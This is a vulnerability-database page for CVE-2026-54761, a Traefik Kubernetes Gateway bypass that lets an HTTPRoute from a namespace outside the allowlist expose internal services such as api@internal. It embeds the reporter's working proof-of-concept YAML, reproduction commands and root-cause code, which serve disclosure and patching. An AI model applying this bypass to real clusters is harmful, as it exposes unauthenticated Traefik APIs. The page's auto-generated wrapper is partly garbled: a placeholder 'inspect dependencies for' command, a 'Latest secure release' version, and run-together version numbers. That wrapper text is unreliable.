CVE-2026-54761: Traefik Kubernetes Gateway CrossProviderNamespaces Bypass Allows Vulnerability

MODERATE
Advisory Identifier: GHSA-3g6v-2r68-prfc
CVSS 7.1
CWE-284 CWE-863
Published
Advisory Summary

CVE-2026-54761 is a MODERATE (CVSS 7.1) kubernetes gateway crossprovidernamespaces bypass allows vulnerability (CWE-284: Improper Access Control) affecting Traefik libraries in the Go ecosystem. The issue involves kubernetes gateway crossprovidernamespaces bypass allows httproute outside the allowlist to expose internal traefik services. Remediation is available by upgrading affected packages to version 3.6.21, 3.7.5.

CVE-2026-54761 at a Glance

CVE Identifier CVE-2026-54761
GHSA Identifier GHSA-3g6v-2r68-prfc
Severity MODERATE
CVSS v3.1 Base Score 7.1
CWE Classification CWE-284: Improper Access Control
Affected Product Traefik
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-54761

To remediate this vulnerability, upgrade all affected Traefik dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/traefik/traefik/v3 fixed: 3.6.21
Upgrade github.com/traefik/traefik/v3 to 3.6.21
github.com/traefik/traefik/v2 fixed: Latest secure release
Upgrade github.com/traefik/traefik/v2 to Latest secure release
github.com/traefik/traefik fixed: Latest secure release
Upgrade github.com/traefik/traefik to Latest secure release
github.com/traefik/traefik/v3 fixed: 3.7.5
Upgrade github.com/traefik/traefik/v3 to 3.7.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/traefik/traefik/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54761, inspect your project dependencies for Traefik:

inspect dependencies for github.com/traefik/traefik/v3

Analyze the terminal output to locate any version of Traefik in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.21), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Traefik, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.21 - https://github.com/traefik/traefik/releases/tag/v3.7.5 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Summary The Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs. For `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference. Verified affected versions: - `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`) - current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`) # Expected Behavior With: ```yaml providers: kubernetesGateway: crossProviderNamespaces: - trusted ``` only Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`. An `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting: ```yaml backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted ``` # Actual Behavior For an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing: ```text [api@internal attacker-whoami-http-80] ``` even though `crossProviderNamespaces` only allows `trusted`. # Threat Model This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs. The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services. A Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`. # Required Attacker Capability Required: - create or modify an `HTTPRoute` in namespace `attacker`; - have that `HTTPRoute` accepted by a `Gateway`; - rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration. Not required: - modifying Traefik static configuration; - modifying the Traefik deployment or Traefik RBAC; - modifying resources in the Traefik deployment namespace; - modifying `providers.kubernetesGateway.crossProviderNamespaces`; - enabling `api.insecure`; - exposing the dashboard/API entrypoint directly. # Documentation Evidence The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`. The Kubernetes Gateway provider option is documented as: ```text List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService. ``` The migration notes also describe the security reason for the option: ```text those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose. ``` and the documented behavior is: ```text ["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references. ``` The provider struct uses the same route-namespace wording: ```go CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...` ``` The reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC. # PoC I validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint. The complete local reproducer I used is a self-contained `kind` PoC with these files: ```text external-repro-kind/kind-config.yaml external-repro-kind/traefik-v371.yaml external-repro-kind/gateway-exploit.yaml external-repro-kind/run-kind-repro.sh ``` Run command: ```bash ./external-repro-kind/run-kind-repro.sh ``` The script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit. Traefik was started with: ```text --api=true --api.dashboard=true --api.insecure=false --providers.kubernetesgateway=true --providers.kubernetesgateway.crossprovidernamespaces=trusted ``` The local host entrypoint was: ```text 127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint ``` The target namespace has a normal Gateway API `ReferenceGrant`: ```yaml apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: allow-attacker-to-traefikservice namespace: trusted spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: attacker to: - group: traefik.io kind: TraefikService ``` Positive control: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: single-backend-control namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - control.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1 ``` Bypass: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mixed-backend-bypass namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - exploit.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1000000 - group: "" kind: Service name: whoami port: 80 weight: 1 ``` Observed external result: ```text control: single-backend route from attacker namespace should not expose api@internal control status: 404 404 page not found exploit: mixed backendRef route from attacker namespace exposes api@internal exploit returned Traefik API JSON api@internal status: enabled weighted members: api@internal 1000000 attacker-whoami-http-80 1 ``` The `HTTPRoute` status shows the boundary difference: ```text single-backend-control: Accepted=True ResolvedRefs=False Reason=RefNotPermitted Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces mixed-backend-bypass: Accepted=True ResolvedRefs=True ``` This is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane. ## Minimized Root Cause Test I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction. Files: - `probe/crossprovider_namespace_probe_test.go` - `probe/cross_provider_namespace_probe.yml` - `probe/cross_provider_namespace_single_control.yml` Reproduction: ```bash cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/ cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/ go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v ``` Observed output on both tested versions: ```text Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80] ``` The reproducer also includes a positive control: ```text === RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl --- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl ``` That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list. # Root Cause The single-internal-service path checks the route namespace: ```go case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef): if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) { ``` The mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`: ```go namespace := route.Namespace if backendRef.Namespace != nil && *backendRef.Namespace != "" { namespace = string(*backendRef.Namespace) } ... name, service, err := p.loadHTTPBackendRef(namespace, backendRef) ``` `loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace: ```go if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") { if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) { ``` This lets a disallowed route namespace choose an allow-listed target namespace and pass the check. # Impact An untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`. Potentially exposed internal services include: - `api@internal` - `dashboard@internal` - `rest@internal` This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`. I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint: ```text Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found ``` When a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated: ```text Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK service: api@internal ``` A WRR service containing `api@internal` also exposes the API: ```text Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK weighted services: api@internal 1000 echo-svc 1 ``` This is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls. # Suggested Fix For Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs. </details> ---

CVE-2026-54761 Affected Traefik Versions

4 component(s)
Fixed Versions:
3.6.213.7.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/traefik/traefik/v3
Go
< 3.6.21
3.6.21
github.com/traefik/traefik/v2
Go
≤ 2.11.50
github.com/traefik/traefik
Go
≤ 1.7.34
github.com/traefik/traefik/v3
Go
≥ 3.7.0-ea.1
< 3.7.5
3.7.5

References

Frequently Asked Questions

What is CVE-2026-54761?
CVE-2026-54761 is a security vulnerability in Traefik involving Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services under CWE-284: Improper Access Control.
Which Traefik versions are affected?
Affected versions include releases prior to 3.6.21, 3.7.5 across affected packages: github.com/traefik/traefik/v3, github.com/traefik/traefik/v2, github.com/traefik/traefik.
What version fixes CVE-2026-54761?
Upgrading to 3.6.21, 3.7.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/traefik/traefik/v3 affected?
Yes, github.com/traefik/traefik/v3 is affected in releases prior to 3.6.21, 3.7.5. Upgrade your dependency to 3.6.21, 3.7.5 or later.
Is github.com/traefik/traefik/v2 affected?
Yes, github.com/traefik/traefik/v2 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-54761?
CVE-2026-54761 has a CVSS v3.1 base score of 7.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-54761?
CVE-2026-54761 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-54761?
Run the dependency tree command: 'inspect dependencies for github.com/traefik/traefik/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3g6v-2r68-prfc",
  "modified" : "2026-07-20T21:13:33Z",
  "published" : "2026-06-17T14:01:48Z",
  "aliases" : [ "CVE-2026-54761" ],
  "summary" : "Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services",
  "details" : "## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n# Summary\n\nThe Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n  kubernetesGateway:\n    crossProviderNamespaces:\n      - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n  - group: traefik.io\n    kind: TraefikService\n    name: api@internal\n    namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n  name: allow-attacker-to-traefikservice\n  namespace: trusted\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: attacker\n  to:\n    - group: traefik.io\n      kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: single-backend-control\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - control.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: mixed-backend-bypass\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - exploit.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1000000\n        - group: \"\"\n          kind: Service\n          name: whoami\n          port: 80\n          weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal              1000000\nattacker-whoami-http-80  1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n  Accepted=True\n  ResolvedRefs=False\n  Reason=RefNotPermitted\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n  Accepted=True\n  ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\n    namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" && strings.Contains(string(backendRef.Name), \"@\") {\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized\nHost: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK\nweighted services:\napi@internal 1000\necho-svc      1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.21"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.20"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.11.50"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.7.34"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0-ea.1"
      }, {
        "fixed" : "3.7.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.7.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54761"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.21"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.7.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-17T14:01:48Z",
    "nvd_published_at" : "2026-06-23T20:16:49Z"
  }
}